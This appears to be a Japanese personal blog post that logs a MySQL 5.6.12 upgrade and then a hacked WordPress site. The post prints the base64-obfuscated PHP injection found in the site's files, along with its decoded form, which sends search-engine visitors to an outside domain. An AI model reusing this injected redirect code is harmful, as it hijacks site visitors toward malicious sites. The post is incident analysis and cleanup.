Changes in MySQL 5.6.12 (2013-06-03)

MYSQL5.6ですが、まだまだReplication関連のバグが多いですね。
レプリケーション以外のBugも少ない訳では無いので、Production環境で利用するにはもう少し枯れてからでも良いかもしれませんね。

InnoDB: Under certain circumstances, LRU flushing would take a long time possibly
affecting all flushing activity and causing a shutdown timeout. (Bug #16500209)

InnoDB: Concurrently inserting into a full-text table would cause some inserts to fail.
Duplicate values would be generated for full-text search document IDs when performing
inserts into a hidden full-text search document ID column. (Bug #16469399)

InnoDB: FLUSH TABLES FOR EXPORT would sleep too often while flushing pages from buffer pools. (Bug #16471701)

InnoDB: RENAME TABLE would result in a hang due to a MySQL mutex acquisition deadlock. (Bug #16305265)

InnoDB: DROP DATABASE failed if the database contained an InnoDB table that had a data
file in an external data directory. The external data file had an “InnoDB Symbolic Link”
file type (.isl) that was not recognized by MySQL. This fix adds .isl as a known InnoDB file type. (Bug #16338667)

InnoDB: After disabling foreign key checks with SET foreign_key_checks=0 and performing a DROP INDEX,
the table was no longer accessible after restarting the server. This fix allows the table with missing
foreign key indexes to be accessed when SET foreign_key_checks=0. When the table is accessible,
the user must recreate the missing indexes to fulfill the foreign key constraints. (Bug #16208542)

InnoDB: While processing read-write workloads, InnoDB would scan more pages than are required for flushing,
unnecessarily consuming CPU resource. (Bug #16037180)

InnoDB: A multi-row INSERT … ON DUPLICATE KEY UPDATE insert failure, caused by a duplicate key error,
would result in duplicate auto-increment values. (Bug #14483484)

Replication: Point-in-time recovery could fail when trying to restore a single database from a binary
log in row-based format using mysqlbinlog with the –database option. (Bug #16698172)

Removing a server RPM package did not shut down the existing server if it was running. (Bug #16798868)

Some INFORMATION_SCHEMA queries that used ORDER BY did not use a filesort optimization as they did in MySQL 5.5. (Bug #16423536)


とりあえず、アップグレード作業。
本番環境はバックアップしてから実行。
mysql-5.6.12-linux-glibc2.5-i686.tar.gzをダウンロードしてきたので、
先ずはMYSQLを停止して、ファイルの展開と移動。

[root@HOME002 src]# /etc/init.d/mysql stop
Shutting down MySQL...                                     [  OK  ]
[root@HOME002 src]#
[root@HOME002 src]# tar zxvf mysql-5.6.12-linux-glibc2.5-i686.tar.gz
mysql-5.6.12-linux-glibc2.5-i686/COPYING
mysql-5.6.12-linux-glibc2.5-i686/bin/mysqlaccess.conf
mysql-5.6.12-linux-glibc2.5-i686/bin/resolveip
mysql-5.6.12-linux-glibc2.5-i686/bin/mysqld_multi
mysql-5.6.12-linux-glibc2.5-i686/bin/mysqlshow
mysql-5.6.12-linux-glibc2.5-i686/bin/mysqlaccess
mysql-5.6.12-linux-glibc2.5-i686/bin/resolve_stack_dump

.... 

mysql-5.6.12-linux-glibc2.5-i686/mysql-test/lib/My/Memcache.pm
mysql-5.6.12-linux-glibc2.5-i686/mysql-test/lib/My/File/Path.pm
mysql-5.6.12-linux-glibc2.5-i686/mysql-test/lib/My/Exec.pm
mysql-5.6.12-linux-glibc2.5-i686/mysql-test/lib/My/ConfigFactory.pm
mysql-5.6.12-linux-glibc2.5-i686/mysql-test/lib/My/CoreDump.pm
[root@HOME002 src]#
[root@HOME002 src]# ls -l
合計 581804
-rw-r--r--  1 root root 296649804  4月  8 21:54 mysql-5.6.11-linux-glibc2.5-i686.tar.gz
drwxr-xr-x 13 root root      4096  6月 22 10:09 mysql-5.6.12-linux-glibc2.5-i686
-rw-r--r--  1 root root 298502256  6月 22 09:51 mysql-5.6.12-linux-glibc2.5-i686.tar.gz
[root@HOME002 src]# mv mysql-5.6.12-linux-glibc2.5-i686 /usr/local/
[root@HOME002 src]# cd /usr/local/
[root@HOME002 local]# ls -l
合計 116
drwxr-xr-x  2 root  root  4096  1月  8 14:59 bin
drwxr-xr-x  2 root  root  4096  3月 30  2007 etc
drwxr-xr-x  2 root  root  4096  3月 30  2007 games
drwxr-xr-x  2 root  root  4096  1月  7 19:58 include
drwxr-xr-x  3 root  root  4096  1月  7 19:58 lib
drwxr-xr-x  2 root  root  4096  3月 30  2007 libexec
drwxr-xr-x  3 root  root  4096  1月  7 19:58 man
lrwxrwxrwx  1 root  root    32  4月 28 16:15 mysql -> mysql-5.6.11-linux-glibc2.5-i686
drwxrwxr-x 13 mysql mysql 4096  1月 25 15:14 mysql-5.5.29-linux2.6-i686
drwxrwxr-x 13 mysql mysql 4096  2月 16 15:51 mysql-5.6.10-linux-glibc2.5-i686
drwxr-xr-x 13 mysql mysql 4096  4月 28 16:11 mysql-5.6.11-linux-glibc2.5-i686
drwxr-xr-x 13 root  root  4096  6月 22 10:09 mysql-5.6.12-linux-glibc2.5-i686
drwxr-xr-x  2 root  root  4096  3月 30  2007 sbin
drwxr-xr-x  5 root  root  4096  1月  7 19:58 share
drwxr-xr-x  2 root  root  4096  6月 22 10:16 src
[root@HOME002 local]#

シンボリック張り直し、データコピーとパーミッション変更してMYSQLを起動させる。

[root@HOME002 local]# rm mysql
rm: remove シンボリックリンク `mysql'? y
[root@HOME002 local]# ln -s mysql-5.6.12-linux-glibc2.5-i686/ mysql
[root@HOME002 local]# ls -l
合計 116
drwxr-xr-x  2 root  root  4096  1月  8 14:59 bin
drwxr-xr-x  2 root  root  4096  3月 30  2007 etc
drwxr-xr-x  2 root  root  4096  3月 30  2007 games
drwxr-xr-x  2 root  root  4096  1月  7 19:58 include
drwxr-xr-x  3 root  root  4096  1月  7 19:58 lib
drwxr-xr-x  2 root  root  4096  3月 30  2007 libexec
drwxr-xr-x  3 root  root  4096  1月  7 19:58 man
lrwxrwxrwx  1 root  root    33  6月 22 10:18 mysql -> mysql-5.6.12-linux-glibc2.5-i686/
drwxrwxr-x 13 mysql mysql 4096  1月 25 15:14 mysql-5.5.29-linux2.6-i686
drwxrwxr-x 13 mysql mysql 4096  2月 16 15:51 mysql-5.6.10-linux-glibc2.5-i686
drwxr-xr-x 13 mysql mysql 4096  4月 28 16:11 mysql-5.6.11-linux-glibc2.5-i686
drwxr-xr-x 13 root  root  4096  6月 22 10:09 mysql-5.6.12-linux-glibc2.5-i686
drwxr-xr-x  2 root  root  4096  3月 30  2007 sbin
drwxr-xr-x  5 root  root  4096  1月  7 19:58 share
drwxr-xr-x  2 root  root  4096  6月 22 10:16 src
[root@HOME002 local]#

[root@HOME002 local]# cp -rp /usr/local/mysql-5.6.11-linux-glibc2.5-i686/data/* /usr/local/mysql/data/
[root@HOME002 local]# chown -R mysql:mysql mysql-5.6.12-linux-glibc2.5-i686/
[root@HOME002 local]# chmod -R 755 mysql-5.6.12-linux-glibc2.5-i686/
[root@HOME002 local]# ls -l
合計 116
drwxr-xr-x  2 root  root  4096  1月  8 14:59 bin
drwxr-xr-x  2 root  root  4096  3月 30  2007 etc
drwxr-xr-x  2 root  root  4096  3月 30  2007 games
drwxr-xr-x  2 root  root  4096  1月  7 19:58 include
drwxr-xr-x  3 root  root  4096  1月  7 19:58 lib
drwxr-xr-x  2 root  root  4096  3月 30  2007 libexec
drwxr-xr-x  3 root  root  4096  1月  7 19:58 man
lrwxrwxrwx  1 root  root    33  6月 22 10:18 mysql -> mysql-5.6.12-linux-glibc2.5-i686/
drwxrwxr-x 13 mysql mysql 4096  1月 25 15:14 mysql-5.5.29-linux2.6-i686
drwxrwxr-x 13 mysql mysql 4096  2月 16 15:51 mysql-5.6.10-linux-glibc2.5-i686
drwxr-xr-x 13 mysql mysql 4096  4月 28 16:11 mysql-5.6.11-linux-glibc2.5-i686
drwxr-xr-x 13 mysql mysql 4096  6月 22 10:09 mysql-5.6.12-linux-glibc2.5-i686
drwxr-xr-x  2 root  root  4096  3月 30  2007 sbin
drwxr-xr-x  5 root  root  4096  1月  7 19:58 share
drwxr-xr-x  2 root  root  4096  6月 22 10:16 src
[root@HOME002 local]# cd

[root@HOME002 bin]# /etc/init.d/mysql start
Starting MySQL.......                                      [  OK  ]
[root@HOME002 bin]#

最後にシステムテーブルを更新して終了
[MYSQL]
[root@HOME002 mysql]# pwd
/usr/local/mysql
[root@HOME002 mysql]# ./bin/mysql_upgrade -u root -p
Enter password:
Looking for ‘mysql’ as: ./bin/mysql
Looking for ‘mysqlcheck’ as: ./bin/mysqlcheck
Running ‘mysqlcheck’ with connection arguments: ‘–port=3306’ ‘–socket=/tmp/mysql.sock’
Warning: Using a password on the command line interface can be insecure.
Running ‘mysqlcheck’ with connection arguments: ‘–port=3306’ ‘–socket=/tmp/mysql.sock’
Warning: Using a password on the command line interface can be insecure.
mysql.columns_priv OK
mysql.db OK
mysql.event OK
mysql.func OK
mysql.general_log OK
mysql.help_category OK
mysql.help_keyword OK
mysql.help_relation OK
mysql.help_topic OK
mysql.host OK
mysql.innodb_index_stats OK
mysql.innodb_table_stats OK
mysql.ndb_binlog_index OK
mysql.plugin OK
mysql.proc OK
mysql.procs_priv OK
mysql.proxies_priv OK
mysql.servers OK
mysql.slave_master_info OK
mysql.slave_relay_log_info OK
mysql.slave_worker_info OK
mysql.slow_log OK
mysql.tables_priv OK
mysql.time_zone OK
mysql.time_zone_leap_second OK
mysql.time_zone_name OK
mysql.time_zone_transition OK
mysql.time_zone_transition_type OK
mysql.user OK
Running ‘mysql_fix_privilege_tables’…
Warning: Using a password on the command line interface can be insecure.
Running ‘mysqlcheck’ with connection arguments: ‘–port=3306’ ‘–socket=/tmp/mysql.sock’
Warning: Using a password on the command line interface can be insecure.
Running ‘mysqlcheck’ with connection arguments: ‘–port=3306’ ‘–socket=/tmp/mysql.sock’
Warning: Using a password on the command line interface can be insecure.
test.TABLE001 OK
test.timestamp_chk OK
test.timestamp_chk2 OK
OK
[root@HOME002 mysql]#
[/MYSQL]
※ このパスワードをコマンドで利用するのはセキュリティ的に良くないというコメントは次回対応。

起動ログの確認
ログにもとくには問題無く、レプリケーションも問題ない様なので、
あとはセキュリティ対策して完了。

2013-06-22 10:03:39 2598 [Note] /usr/local/mysql/bin/mysqld: Shutdown complete

130622 10:03:39 mysqld_safe mysqld from pid file /usr/local/mysql/data/HOME002.localdomain.pid ended
130622 10:24:03 mysqld_safe Starting mysqld daemon with databases from /usr/local/mysql/data
2013-06-22 10:24:06 12718 [Note] Plugin 'FEDERATED' is disabled.
2013-06-22 10:24:06 12718 [Note] InnoDB: The InnoDB memory heap is disabled
2013-06-22 10:24:06 12718 [Note] InnoDB: Mutexes and rw_locks use InnoDB's own implementation
2013-06-22 10:24:06 12718 [Note] InnoDB: Compressed tables use zlib 1.2.3
2013-06-22 10:24:06 12718 [Note] InnoDB: Using Linux native AIO
2013-06-22 10:24:06 12718 [Note] InnoDB: Not using CPU crc32 instructions
2013-06-22 10:24:06 12718 [Note] InnoDB: Initializing buffer pool, size = 32.0M
2013-06-22 10:24:06 12718 [Note] InnoDB: Completed initialization of buffer pool
2013-06-22 10:24:07 12718 [Note] InnoDB: Highest supported file format is Barracuda.
2013-06-22 10:24:08 12718 [Note] InnoDB: 128 rollback segment(s) are active.
2013-06-22 10:24:08 12718 [Note] InnoDB: Waiting for purge to start
2013-06-22 10:24:08 12718 [Note] Server hostname (bind-address): '*'; port: 3306
2013-06-22 10:24:08 12718 [Note] IPv6 is available.
2013-06-22 10:24:08 12718 [Note]   - '::' resolves to '::';
2013-06-22 10:24:08 12718 [Note] Server socket created on IP: '::'.
2013-06-22 10:24:09 12718 [Note] Slave I/O thread: Start semi-sync replication to master 'slave_user@home001:3306' in log 'mysql-bin.000032' at position 435
2013-06-22 10:24:09 12718 [Warning] Storing MySQL user name or password information in the master.info repository is not secure and is therefore not recommended. Please see the MySQL Manual for more about this issue and possible alternatives.
2013-06-22 10:24:09 12718 [Warning] Slave SQL: If a crash happens this configuration does not guarantee that the relay log info will be consistent, Error_code: 0
2013-06-22 10:24:09 12718 [Note] Slave SQL thread initialized, starting replication in log 'mysql-bin.000032' at position 435, relay log '/usr/local/mysql/data/relay-bin.000006' position: 283
2013-06-22 10:24:10 12718 [Note] Slave I/O thread: connected to master 'slave_user@home001:3306',replication started in log 'mysql-bin.000032' at position 435
2013-06-22 10:24:10 12718 [Note] Event Scheduler: Loaded 0 events
2013-06-22 10:24:10 12718 [Note] /usr/local/mysql/bin/mysqld: ready for connections.
Version: '5.6.12-log'  socket: '/tmp/mysql.sock'  port: 3306  MySQL Community Server (GPL)
[root@HOME002 data]#

upgradedone5612


暫く忙しく、アップグレードもパスワード変更もしてなかったら、
いつのまにか、ヘッダーに変な文字列が埋め込まれてしまい。
訳の分からないサイトにリダイレクトされてました。

気付いたのは、いつもどおり自分のメモ代わりのこのサイトで調べ物をしようとした時に、
スマホだと問題無くアクセス出来るが、PCからGoogleで検索してサイトにアクセスすると、
変なサイトに302 Redirectされてしまいました。但し、PCから直接サイトを指定して表示すると、
問題無くアクセスする事が出来ました。

実際の動きを確認する為に、Wiresharkで状況を確認してみました。

wireshark

どうやらRedirectされている事は間違いないようでした。

ソースコードを調べてみると、wordpressにあるlocationという変数を利用して特定の条件でアクセスするとリダイレクト
されるようにしてあったようです。最初は、暗号化されていたので分かりませんでしたが、
decodeしてみると以下のようになっていました。

暗号化

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9id2FrcS5teXouaW5mby8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));

複合化
refererやブラウザーで条件を指定して特定のサイトにリダイレクトするコードになっていました。

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"live.com") or stristr($referer,"webalta") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com/l") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://bwakq.myz.info/");
exit();
}
}
}
}
}

DBの中身をダンプして調べましたが、特に怪しいコードはありませんでした。

とりあえず、ファイルの中身をgrepして特定の文字列を見つけてかなりのphpにコードが書かれている事を確認したので、
全てコードを入れ替えて、特定のソースに関しては、Perlでワンライナーして入れ替えました。
ワードプレスも、プラグインも最新に入れ替えてコードが無くなった事を確認したのでパスワードを変更して、
パーミッションを見直してとりあえず。OK。

仕事では無いのと単純なリダイレクトだったのでとりあえず問題ないけど、
やはり個人のサイトもきちんとメンテナンスして適切な状態にしておかないと
いけないなと感じる出来事でした。少し軽く考えてたと感じました。

少し確認しても、1つのIPから複数ブラウザーでアクセスしてきている事が確認出来ます。
IPを絞ってログを追いかければ、今後の対策が少し見えてきそうです。

$ awk '{print $1}' variable.jp_*.log | sort | uniq -c | sort -nr | head
   3524 124.44.xxx.xxx
   2412 209.85.xxx.xxx
   2157 199.15.xxx.xxx
   1997 198.200.xxx.xxx
   1813 198.200.xxx.xxx
   1740 198.2.xxx.xxx
   1668 142.4.xxx.xxx
   1578 198.200.xxx.xxx
   1458 142.4.xxx.xxx
   1448 210.172.xxx.xxx

anywhere@any-place /c/tmp
$

$ cat variable.jp_20130528.log | egrep -i "198.200.xxx.xxx" | awk '{print $12,$13,14,$15,$16,$17,$18,$19}' | sort | uniq -c | sort -nr | head
     12 "Opera/9.80 (Windows 14 6.1; WOW64; MRA 6.0 (build
      9 "Mozilla/5.0 (Windows 14 6.1) AppleWebKit/535.19 (KHTML, like Gecko)
      9 "Mozilla/5.0 (Windows 14 6.0) AppleWebKit/537.11 (KHTML, like Gecko)
      6 "Opera/9.80 (Windows 14 6.1; WOW64; Edition Yx) Presto/2.12.388
      6 "Mozilla/5.0 (Windows; 14 Windows NT 6.1; en-US) AppleWebKit/534.10
      6 "Mozilla/5.0 (Windows 14 6.1; WOW64) AppleWebKit/535.19 (KHTML, like
      6 "Mozilla/5.0 (Windows 14 5.1; rv:8.0) Gecko/20100101 Firefox/8.0"
      3 "Opera/9.80 (Windows 14 6.2; WOW64; MRA 8.0 (build
      3 "Opera/9.80 (Windows 14 6.2; U; en) Presto/2.10.289 Version/12.02"
      3 "Opera/9.80 (Windows 14 6.1; U; ru) Presto/2.10.289 Version/12.02"

anywhere@any-place /c/tmp
$


anywhere@any-place /c/tmp
$ awk '{print $7}' variable.jp_*.log  | grep 'wp-login' | sort | uniq -c | sort -nr | head
  14114 /wp-login.php
     13 /2009/wp-login.php?action=register
     12 /wp-login.php?redirect_to=http%3A%2F%2Fvariable.jp%2Fwp-admin%2F&reauth=1
     11 /wp-login.php?action=register
      8 /wp-login.php?action=lostpassword
      6 /wp-login.php?registration=disabled
      2 /wp-login.php?loggedout=true
      2 /wp-login.php/?action=register
      1 /wp-login.php?redirect_to=http://variable.jp/wp-admin/&reauth=1
      1 /wp-login.php?action=logout&_wpnonce=e1403e3394

anywhere@any-place /c/tmp
$

とりあえず、ログをダンプしたので少し確認して対策して見ます。